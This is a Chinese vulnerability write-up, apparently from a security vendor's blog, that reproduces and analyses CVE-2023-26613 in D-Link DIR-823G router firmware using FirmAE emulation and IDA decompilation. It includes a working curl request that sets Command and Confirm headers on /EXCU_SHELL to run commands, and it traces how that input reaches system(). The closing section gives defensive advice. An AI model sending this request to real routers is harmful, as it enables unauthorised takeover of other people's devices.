
当今万物互联,从智能汽车到智能家居,无一不联网,一旦潜在的漏洞被不法分子恶意利用,小则隐私泄露,大则危害生命。今天,我们对一款身边随处可见的联网设备中的一个漏洞来进行分析,给各位展示某款路由器的漏洞分析详细过程。
文章通过详细分析CVE-2023-26613漏洞的路由器固件,得出引发该漏洞的原因疑似出厂固件忘记屏蔽调试接口。可见有时候原厂固件也不是绝对安全的,做好防护不仅需要及时更新固件还要设置合理的访问名单,不对公网直接提供服务。条件允许还可以再增添防火墙设备加强防护。
以下是详细的漏洞复现及分析步骤:


漏 洞 说 明
D-Link DIR-823G 固件版本 1.02B05 固件下载链接存在远程命令执行漏洞


复 现 环 境
IDA、FirmAE


复 现 过 程
使用FirmAE模拟
执行命令模拟固件
sudo ./run.sh -r test ./firmwares/DIRxxxxx.bin

ubuntu浏览器访问http://192.168.0.1看到如图所示即可进入路由器的web管理页面,成功模拟固件

远程命令执行 CVE-2023-26613复现
curl http://192.168.0.1/EXCU_SHELL -H 'Command1: ls' -H 'Confirm1: apply'



分析漏洞成因
ida分析/bin/goahead二进制文件
查看/etc/init.d/rcS文件内容,有goahead,说明固件初始化流程执行了goahead二进制文件。

CVE-2023-26613 rce
查壳结果是32位mips架构二进制文件,使用ida分析goahead二进制文件。
IDA中根据exp中请求ua头中的command和confirm关键字进行搜索,查sub_41D354函数
_BYTE *__fastcall sub_41D354(_DWORD *a1)
{
int v1; // $v0
int v2; // $v0
int v3; // $v1
int v4; // $v0
int v5; // $v0
int v6; // $s0
int v7; // $s0
_BYTE *result; // $v0
int v9; // [sp+18h] [+18h]
int v10; // [sp+1Ch] [+1Ch]
int v11; // [sp+20h] [+20h]
_BYTE *v12; // [sp+24h] [+24h]
_BYTE *v13; // [sp+28h] [+28h]
int j; // [sp+2Ch] [+2Ch]
int k; // [sp+2Ch] [+2Ch]
int v16; // [sp+34h] [+34h]
int v17; // [sp+34h] [+34h]
char v18; // [sp+38h] [+38h]
int *mm; // [sp+3Ch] [+3Ch]
int *kk; // [sp+40h] [+40h]
int ii; // [sp+40h] [+40h]
char v22; // [sp+44h] [+44h]
int *jj; // [sp+48h] [+48h]
int *v24; // [sp+54h] [+54h]
const char *v25; // [sp+58h] [+58h]
_BYTE *v26; // [sp+5Ch] [+5Ch]
_BYTE *v27; // [sp+64h] [+64h]
_BYTE *i; // [sp+64h] [+64h]
_BYTE *m; // [sp+64h] [+64h]
_BYTE *v30; // [sp+64h] [+64h]
_BYTE *v31; // [sp+64h] [+64h]
int *n; // [sp+64h] [+64h]
int v33; // [sp+68h] [+68h]
_BYTE *v34; // [sp+6Ch] [+6Ch] BYREF
int v35; // [sp+70h] [+70h] BYREF
char v36[264]; // [sp+74h] [+74h] BYREF
sub_41EA84(a1, "HTTP_AUTHORIZATION", &dword_4A27C8);
dword_589A90 = 0;
v26 = (_BYTE *)a1[1];
while ( 1 )
{
result = v26;
if ( !v26 )
return result;
result = (_BYTE *)(char)*v26;
if ( !*v26 )
return result;
v27 = v26;
v26 = (_BYTE *)strchr(v26, 10);
if ( v26 )
++v26;
v25 = (const char *)strtok(v27, ": tn");
if ( v25 )
{
v24 = (int *)strtok(0, "n");
if ( !v24 )
v24 = &dword_4A27C8;
while ( (*(_WORD *)(_ctype_b + 2 * *(char *)v24) & 0x20) != 0 )
v24 = (int *)((char *)v24 + 1);
sub_412EEC(v25);
v1 = strlen(v25);
sub_40BBEC(&v34, v1 + 6, "HTTP_%s", v25);
for ( i = v34; *i; ++i )
{
if ( *i == 45 )
*i = 95;
}
sub_412FB4(v34);
sub_41EA84(a1, v34, v24);
sub_403588(v34);
if ( !strcmp(v25, "user-agent") )
{
a1[55] = sub_4036C4(v24);
v2 = strlen(a1[55]);
memcpy(&unk_589CEC, a1[55], v2);
if ( strstr(&unk_589CEC, "Android") )
{
byte_588D30 = 0;
}
else if ( strstr(&unk_589CEC, "CFNetwork") )
{
byte_588D30 = 1;
}
else
{
byte_588D30 = 2;
}
}
else if ( sub_420CA8(v25, "authorization") )
{
if ( !strcmp(v25, "content-length") )
{
a1[64] = atoi(v24);
if ( (int)a1[64] <= 0 )
{
a1[64] = 0;
}
else
{
a1[62] |= 0x400u;
sub_41EA84(a1, "CONTENT_LENGTH", v24);
}
}
else if ( !strcmp(v25, "content-type") )
{
sub_41EA84(a1, "CONTENT_TYPE", v24);
}
else if ( !strcmp(v25, "soapaction") )
{
a1[329] = sub_4036C4(v24);
memset(&unk_589A94, 0, 100);
v4 = strlen(a1[329]);
memcpy(&unk_589A94, a1[329], v4);
dword_589A8C = (int)&unk_589A94;
}
else if ( !strcmp(v25, "host") )
{
a1[330] = sub_4036C4(v24);
}
else if ( !strcmp(v25, "hnap_auth") )
{
v16 = sub_4036C4(v24);
memset(byte_589A58, 0, 33);
memset(byte_589A7C, 0, 14);
for ( j = 0; j < 32; ++j )
byte_589A58[j] = *(_BYTE *)(v16 + j);
v17 = v16 + 33;
for ( k = 0; k < 11; ++k )
byte_589A7C[k] = *(_BYTE *)(v17 + k);
}
else if ( !strcmp(v25, "cookie") )
{
v11 = 0;
v35 = 0;
a1[62] |= 8u;
a1[54] = sub_4036C4(v24);
memset(&unk_589AF8, 0, 500);
v5 = strlen(a1[54]);
memcpy(&unk_589AF8, a1[54], v5);
if ( !strcmp(&unk_589AF8, "uid=") )
dword_589A90 = 0;
else
dword_589A90 = (int)&unk_589AF8;
v35 = strstr(a1[54], "login&pass");
if ( v35 )
{
v10 = strsep(&v35, ";");
if ( v35 && strstr(v35, "login&pass") )
v11 = v35;
if ( v10 && strstr(v10, "login&pass") )
v11 = v10;
if ( v11 )
{
v12 = (_BYTE *)strchr(v11, 61);
if ( v12 )
*v12++ = 0;
v13 = (_BYTE *)strchr(v12, 58);
if ( v13 )
*v13++ = 0;
a1[53] = sub_4036C4(v12);
a1[52] = sub_4036C4(v13);
}
}
}
else if ( (const char *)strstr(v25, "command") == v25 )
{
while ( 1 )
{
v9 = strstr(v24, "%20");
if ( !v9 )
break;
memcpy(v9, " ", 3);
}
if ( atoi(v25 + 7) - 1 >= 128 )
{
puts("websParseRequest0: cmd number beyond "MAX_CMD_NUM" !");
}
else
{
v6 = atoi(v25 + 7) - 1;
a1[2 * v6 + 72] = sub_4036C4(v24);
}
a1[71] = 0;
}
else if ( (const char *)strstr(v25, "confirm") == v25 )
{
if ( atoi(v25 + 7) - 1 >= 128 )
{
puts("websParseRequest1: cmd number beyond "MAX_CMD_NUM" !");
}
else
{
v7 = atoi(v25 + 7) - 1;
a1[2 * v7 + 73] = sub_4036C4(v24);
}
}
else if ( (const char *)strstr(v25, "mode") == v25 )
{
if ( a1[328] )
sub_403588(a1[328]);
a1[328] = sub_4036C4(v24);
}
}
else
{
v33 = sub_4036C4(v24);
for ( m = (_BYTE *)v33; (*(_WORD *)(_ctype_b + 2 * (char)*m) & 4) != 0; ++m )
;
*m = 0;
a1[51] = sub_4036C4(v33);
sub_403588(v33);
if ( sub_420CA8(a1[51], "basic") )
{
a1[62] |= 0x20000u;
for ( n = v24;
(*(_WORD *)(_ctype_b + 2 * *(char *)n) & 0x800) != 0
|| *(_BYTE *)n == 47
|| *(_BYTE *)n == 95
|| *(_BYTE *)n == 46
|| *(_BYTE *)n == 45;
n = (int *)((char *)n + 1) )
{
;
}
while ( (*(_WORD *)(_ctype_b + 2 * *(char *)n) & 0x800) == 0
&& *(_BYTE *)n != 47
&& *(_BYTE *)n != 95
&& *(_BYTE *)n != 46
&& *(_BYTE *)n != 45 )
n = (int *)((char *)n + 1);
LABEL_105:
for ( ii = strchr(n, 61); ii; ii = 0 )
{
for ( jj = n;
(*(_WORD *)(_ctype_b + 2 * *(char *)jj) & 0x800) != 0
|| *(_BYTE *)jj == 47
|| *(_BYTE *)jj == 95
|| *(_BYTE *)jj == 46
|| *(_BYTE *)jj == 45;
jj = (int *)((char *)jj + 1) )
{
;
}
v22 = *(_BYTE *)jj;
*(_BYTE *)jj = 0;
for ( kk = (int *)(ii + 1);
(*(_WORD *)(_ctype_b + 2 * *(char *)kk) & 0x800) == 0
&& *(_BYTE *)kk != 47
&& *(_BYTE *)kk != 95
&& *(_BYTE *)kk != 46
&& *(_BYTE *)kk != 45;
kk = (int *)((char *)kk + 1) )
{
;
}
for ( mm = kk;
(*(_WORD *)(_ctype_b + 2 * *(char *)mm) & 0x800) != 0
|| *(_BYTE *)mm == 47
|| *(_BYTE *)mm == 95
|| *(_BYTE *)mm == 46
|| *(_BYTE *)mm == 45;
mm = (int *)((char *)mm + 1) )
{
;
}
v18 = *(_BYTE *)mm;
*(_BYTE *)mm = 0;
if ( sub_420CA8(n, "username") )
{
if ( sub_420CA8(n, "response") )
{
if ( sub_420CA8(n, "opaque") )
{
if ( sub_420CA8(n, "uri") )
{
if ( sub_420CA8(n, "realm") )
{
if ( sub_420CA8(n, "nonce") )
{
if ( sub_420CA8(n, "nc") )
{
if ( sub_420CA8(n, "cnonce") )
{
if ( !sub_420CA8(n, "qop") )
a1[339] = sub_4036C4(kk);
}
else
{
a1[338] = sub_4036C4(kk);
}
}
else
{
a1[337] = sub_4036C4(kk);
}
}
else
{
a1[333] = sub_4036C4(kk);
}
}
else
{
a1[332] = sub_4036C4(kk);
}
}
else
{
a1[335] = sub_4036C4(kk);
}
}
else
{
a1[336] = sub_4036C4(kk);
}
}
else
{
a1[334] = sub_4036C4(kk);
}
}
else
{
a1[53] = sub_4036C4(kk);
}
*(_BYTE *)jj = v22;
*(_BYTE *)mm = v18;
for ( n = mm;
*(_BYTE *)n
&& ((*(_WORD *)(_ctype_b + 2 * *(char *)n) & 0x800) != 0
|| *(_BYTE *)n == 47
|| *(_BYTE *)n == 95
|| *(_BYTE *)n == 46
|| *(_BYTE *)n == 45);
n = (int *)((char *)n + 1) )
{
;
}
while ( *(_BYTE *)n
&& (*(_WORD *)(_ctype_b + 2 * *(char *)n) & 0x800) == 0
&& *(_BYTE *)n != 47
&& *(_BYTE *)n != 95
&& *(_BYTE *)n != 46
&& *(_BYTE *)n != 45 )
n = (int *)((char *)n + 1);
if ( *(_BYTE *)n )
goto LABEL_105;
}
}
else
{
v30 = (_BYTE *)strchr(v24, 32);
if ( v30 )
{
*v30 = 0;
sub_403588(a1[51]);
a1[51] = sub_4036C4(v24);
sub_4038F0(v36, v30 + 1, 254);
}
else
{
sub_4038F0(v36, v24, 254);
}
v31 = (_BYTE *)strchr(v36, 58);
if ( v31 )
*v31++ = 0;
if ( v31 )
{
a1[53] = sub_4036C4(v36);
v3 = sub_4036C4(v31);
}
else
{
a1[53] = sub_4036C4(&dword_4A27C8);
v3 = sub_4036C4(&dword_4A27C8);
}
a1[52] = v3;
a1[62] |= 0x10000u;
}
}
}
}
}
分析这段代码中处理HTTP请求头逻辑:第168行匹配到"Command"和"Confirm"ua头。首先使用strstr函数在v25字符串(http请求包内容)中查找ua头"command"和"confirm"。找到了则进入相应的分支处理。
对于"Command"ua头,代码会将其后面的数字减一后作为数组下标,例如“Command1”,将a1数组中第2*v6+72个元素的值设置为v24字符串的值,其中v6为解析出的数字减一后的结果,这里的示例减一后是0。
对于"Confirm"ua头,代码的处理逻辑与"Command"字段类似,也将其后的数字减一后作为数组下标,将v24字符串的值保存到a1数组中第2*v7+73个元素位置,其中v7为解析出的数字减一后的结果,和v6一致。可能会存在多个结果,但最终是和v6一一对应的,每个command都对应一个confirm。
根据poc中的/EXCU_SHELL关键字进行搜索,查询处理http请求的url入口,查看sub_423F90函数:
int sub_423F90()
{
int v1; // $v0
int v2; // [sp+28h] [+28h]
int v3; // [sp+2Ch] [+2Ch]
int v4[4]; // [sp+30h] [+30h] BYREF
char v5[128]; // [sp+40h] [+40h] BYREF
char v6[128]; // [sp+C0h] [+C0h] BYREF
memset(v4, 0, sizeof(v4));
sub_423E90("br0", v4);
sub_40F750();
sub_4158C0();
sub_416908("adm", 7, 3, 0);
if ( "admin" && aAdmin[0] && "1234" && a1234[0] )
{
sub_415F5C("admin", "1234", "adm", 0);
sub_4172CC("/", 3, 0, "adm");
}
else
{
error("goahead.c", 502, 2, "gohead.c: Warning: empty administrator account or password");
}
v3 = inet_addr(v4);
if ( v3 == -1 )
{
error("goahead.c", 531, 2, "initWebs: failed to convert %s to binary ip data", (const char *)v4);
return -1;
}
else
{
strcpy((int)v5, (int)off_5890B0);
sub_40542C(v5);
v2 = inet_ntoa(v3);
if ( (unsigned int)(strlen(v2) + 1) >= 0x80 )
v1 = 128;
else
v1 = strlen(v2) + 1;
sub_40D104(v6, v2, v1);
sub_4205C0(v6);
sub_42051C(v6);
sub_4053C4("default.asp");
sub_411D4C(off_5890B4);
sub_41BC40(dword_5890B8, dword_5890BC);
sub_40B1F4(&dword_4A3C4C, 0, 0, sub_4110F4);
sub_40B1F4("/HNAP1", 0, 0, sub_42383C);
sub_40B1F4("/goform", 0, 0, sub_40A810);
sub_40B1F4("/cgi-bin", 0, 0, sub_403D00);
sub_40B1F4("/EXCU_SHELL", 0, 0, sub_4234CC);
sub_40B1F4(&dword_4A3C4C, 0, 0, sub_404940);
sub_4110B4();
sub_40B1F4("/", 0, 0, sub_424320);
return 0;
}
}
url请求中,/EXCU_SHELL路径下,http请求会导向sub_4234CC函数
查看sub_4234CC函数:
int __fastcall sub_4234CC(int a1)
{
int v1; // $v0
const char *v3; // [sp+1Ch] [+1Ch]
int v4; // [sp+20h] [+20h]
int v5; // [sp+24h] [+24h]
int v6; // [sp+28h] [+28h]
int i; // [sp+2Ch] [+2Ch]
char v8[104]; // [sp+30h] [+30h] BYREF
v6 = 0;
v5 = 1;
strcpy(
v8,
"HTTP/1.0 200 OKrnContent-Type: text/html; charset=utf-8rnConnection: closernCache-Control: privaternrn");
v4 = 0;
v3 = (const char *)malloc(10240);
if ( v3 )
{
memset(v3, 0, 10240);
v4 = malloc(51200);
if ( v4 )
{
memset(v4, 0, 51200);
for ( i = 0; i < 128; ++i )
{
if ( *(_DWORD *)(a1 + 8 * (i + 36)) && *(_DWORD *)(a1 + 8 * (i + 36) + 4) )
{
memset(v3, 0, 10240);
strcpy(v3, *(_DWORD *)(a1 + 8 * (i + 36)));
if ( sub_4233B0(v3) )
{
printf("ParseCMD error cmdlines:%sn", v3);
v5 = -1;
goto LABEL_18;
}
if ( strstr(v3, "FillMacCloneMac") )
{
strcat(v3, " ");
strcat(v3, a1 + 48);
}
printf("cmd%d:%sn", i, v3);
v6 += sub_423280(v3, v4 + v6, 51200);
}
}
if ( v6 > 0 )
{
v1 = strlen(v8);
sub_41F734(a1, v8, v1);
sub_41F734(a1, v4, v6);
}
puts("---------------------websdone start");
sub_41FBA4(a1, 200);
puts("---------------------websdone end");
}
else
{
printf("websExcuteShellHandler: not enough memory (1)n!");
v5 = -1;
}
}
else
{
printf("websExcuteShellHandler: not enough memory (0)n!");
v5 = -1;
}
LABEL_18:
free(v3);
free(v4);
puts("---------------------free end");
return v5;
}
sub_4234CC函数会遍历a1[36]到a1[163]的值。而a1数组的值已经由sub_41D354函数处理并赋值。
在for循环中,代码会判断a1数组中第i+36号元素和第i+36号元素后面8个字节(共16个字节)是否都存在数据,如果都存在,则会将第i+36号元素的值解析为一个命令,并将其执行。在第30行解析命令时,代码会将第i+36号元素的值拷贝到一个临时缓冲区v3中。然后在第43行,调用sub_423280函数执行命令。
再查看sub_423280函数:
int __fastcall sub_423280(int a1, int a2, unsigned int a3)
{
int v4; // [sp+18h] [+18h]
int v5; // [sp+1Ch] [+1Ch]
if ( strstr(a1, "apply") )
{
sub_421468(a1);
return 1;
}
else if ( a3 < 0xC801 )
{
v4 = popen(a1, "r");
if ( v4 )
{
v5 = fread(a2, 1, a3, v4);
pclose(v4);
if ( v5 > 0 )
*(_BYTE *)(a2 + v5 - 1) = 10;
return v5;
}
else
{
puts("error");
return 0;
}
}
else
{
puts("Error: Invalid length");
return 0;
}
}
sub_423280函数的主要作用是执行给定的命令并将其输出读入缓冲区中。如果字符串 a1 中包含 "apply" 子串,则调用sub_421468函数处理字符串 a1,否则使用popen函数执行字符串 a1 的命令,这一步是关键点,执行代码并将其结果读入缓冲区 a2 中。如果读取的字节数大于 0,则在缓冲区 a2 的末尾添加一个换行符,并返回读取的字节数。
查看sub_421468函数:
int __fastcall sub_421468(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
{
int v9; // [sp+18h] [+18h]
int v10; // [sp+20h] [+20h] BYREF
a6 = a2;
a7 = a3;
a8 = a4;
v10 = 0;
v9 = 0;
if ( sub_40BD60(&v10, 20480, a1, &a6) >= 20480 )
sub_412D50(0, "doSystem: lost data, buffer overflown");
if ( v10 )
{
v9 = system(v10);
sub_403588(v10);
}
return v9;
}
sub_421468函数的作用是执行一个系统命令,并返回它的结果。函数的参数中,a1是一个指向字符缓冲区的指针,用于存储执行命令后的输出结果。a2、a3、a4是需要执行的命令及其参数,a5、a6、a7、a8是保留参数,不会被函数使用。
函数首先将a2、a3、a4分别赋值给a6、a7、a8,然后声明一个名为v10的整型变量,并将其初始化为0。接着,函数调用sub_40BD60函数,将v10、20480、a1、a6作为参数传递给它,sub_40BD60函数的作用是将a6、a7、a8组成一个命令字符串,并将命令的输出结果存储在v10指向的缓冲区中。如果命令的输出结果超过20480个字符,则函数会调用sub_412D50函数输出一个错误信息。
如果命令的输出结果存储在了缓冲区中,函数会判断缓冲区是否为空。如果缓冲区非空,则在第15行调用系统函数system执行命令,并将命令的退出状态码赋值给v9。最后,函数调用sub_403588函数释放缓冲区,并返回命令的状态码。


rce 漏洞分析总结
以上为http请求头中夹带“Command1: xxx Confirm1:apply”时触发rce的流程。
分析了/EXCU_SHELL路径下的请求会导向sub_4234CC函数,检测ua头中是否携带command1和confirm1关键字后(数字编号可以变,但要前后一致),然后通过一系列函数调用,最终system函数执行Command1:xxx中的xxx命令。
该漏洞疑似出厂忘记屏蔽固件调试接口。
建议增添防火墙禁止该路由器对公网提供web接口,仅对有必要的内网管理ip提供web接口。
珞 安 科 技 简 介
推荐阅读
原文始发于微信公众号(珞安科技):攻防有道 | DIR823G远程命令执行(CVE-2023-26613)复现及分析